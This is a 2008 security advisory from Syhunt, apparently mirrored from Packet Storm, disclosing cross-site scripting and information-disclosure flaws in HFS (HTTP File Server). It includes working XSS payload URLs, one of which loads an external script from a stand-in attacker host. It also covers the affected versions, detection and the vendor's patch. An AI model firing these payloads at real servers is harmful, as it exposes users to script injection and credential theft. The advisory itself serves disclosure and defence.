Lucene search

K
packetstormFelipe DaragonPACKETSTORM:62930
HistoryJan 24, 2008 - 12:00 a.m.

hfs-xss.txt

2008-01-2400:00:00
Felipe Daragon
packetstormsecurity.com
30

0.007 Low

EPSS

Percentile

77.5%

`Syhunt: HFS (HTTP File Server) Template Cross-Site Scripting and  
Information Disclosure Vulnerabilities  
  
Advisory-ID: 200801161  
Discovery Date: 1.16.2008  
Release Date: 1.23.2008  
Affected Applications: HFS 2.0 to and including 2.3(Beta Build  
#174)  
Non-Affected Applications: HFS 1.6a and earlier versions  
Class: Cross-Site Scripting (XSS), Information Disclosure  
Status: Patch available/Vendor informed  
Vendor: Massimo Melina  
Vendor URL: http://www.rejetto.com/hfs -or- hfs.sourceforge.net  
  
The Common Vulnerabilities and Exposures (CVE) project has  
assigned the following CVEs to these vulnerabilities:  
* CVE-2008-0409 - Cross-Site Scripting (XSS) and Host Field XSS  
* CVE-2008-0410 - Information Disclosure Vulnerability  
  
----------------------------------------------------------------  
  
Overview:  
HFS is a very popular open source HTTP server designed for  
easily sharing files. According to information on the official  
website, the HTTP File Server software has been downloaded about  
2 million times.  
  
Description:  
When a specific URL is visited, HFS displays a non-existent  
account name in the response body. This non-existent account  
name can be HTML code, allowing a remote attacker to use this  
to launch XSS attacks.  
  
Because the HTML code is also recognized by the web server as a  
HFS HTML template, it is also possible to inject symbols to  
force HFS to reveal details about the server (eg, current HFS  
server version, build, connections, timestamp, uptime, current  
outbound and inbound speed, and more). Technical details are  
included below.  
  
----------------------------------------------------------------  
  
Details (Replicating the issues):  
  
1) Cross-Site Scripting (XSS) and Host Field XSS Vulnerabilities  
Example 1 - Launching a basic XSS:  
http://<script>alert('Syhunt%20XSS')<%2fscript>a:x@[host]/  
  
Example 2 - Injecting an external script (A mix of encoding and  
javascript functions is used here to circumvent browser  
URL limitations):  
http://<script>var%20sChar=String%2efromCharCode(58)%3bdocument  
%2ewrite('<script%20src=http'+sChar+'%2f%2fwww%2eattacker%2ecom  
%2fxss%2ejs><%5c%2fscript>')%3b<%2fscript>a:x@[host]/  
  
* This is specially dangerous if launched against Firefox. In  
order to protect the password from prying eyes, Firefox entirely  
hides what comes before the at (@) character and then only the  
host name remains visible in the address bar. Firefox will also  
resubmit the auth credentials everytime the host is visited  
during the current browser session (unless new credentials are  
supplied).  
  
* User must be already logged in (via /~login) and the current  
(root) path should not be password protected in the HFS-VFS  
panel.  
  
* If the host symbol is injected using this technique, HFS will  
recognize it as a HTML template and return the data provided in  
Host field of the request as part of the response body. The same  
happens if the host symbol has been included (after  
customization) in the current HFS HTML template.  
  
Detection:  
http://www.syhunt.com/advisories/hfshack.txt  
See the "checkxss" command  
  
Sandcat can also be used to identify this issue:  
http://www.syhunt.com/sandcat  
  
2) Information Disclosure  
  
Example 1 - Injecting Symbols:  
http://www.syhunt.com/advisories/hfshack.txt  
The "ver" command will force HFS to reveal its version and build  
The "symbols" command will force HFS to reveal additional  
details about the server (such as connections, timestamp, uptime,  
current outbound and inbound speed, and more).  
  
* You can disable the "Send HFS identifier" option (which  
enables the HFS banner) and remove all server identifier  
symbols from the original HTML template, and still it will work.  
  
Additional Considerations:  
* An updated IE will not accept basic auth via URL. See:  
http://support.microsoft.com/kb/834489 and the MS security  
update 832894 if you wish to learn about this subject.  
  
----------------------------------------------------------------  
  
Vulnerability Status:  
The vendor was contacted and has immediately released HFS 2.2c  
which fixes these problems. The new version can be downloaded at  
www.rejetto.com/hfs/download or via the "Check for news/updates"  
option in the HFS menu.  
  
As a workaround for the affected releases, users should remove  
the %user% and %host% symbols from any HFS HTML templates.  
  
Testers of HFS 2.3 Beta should upgrade to the latest 2.3 beta  
build.  
  
HFS 2.3 Beta specifically is only affected if the option  
"Accept any login for unprotected resources" is enabled. This  
option, introduced in this version, is disabled by default.  
  
----------------------------------------------------------------  
  
Credit:  
Felipe Aragon and Alec Storm  
Syhunt Security Research Team, www.syhunt.com  
  
---  
  
Copyright ยฉ 2008 Syhunt Security  
  
Disclaimer:  
The information in this advisory is provided "as is" without  
warranty of any kind. Details provided are strictly for  
educational and defensive purposes.  
  
Syhunt is not liable for any damages caused by direct or  
indirect use of the information provided by this advisory.  
  
  
`

0.007 Low

EPSS

Percentile

77.5%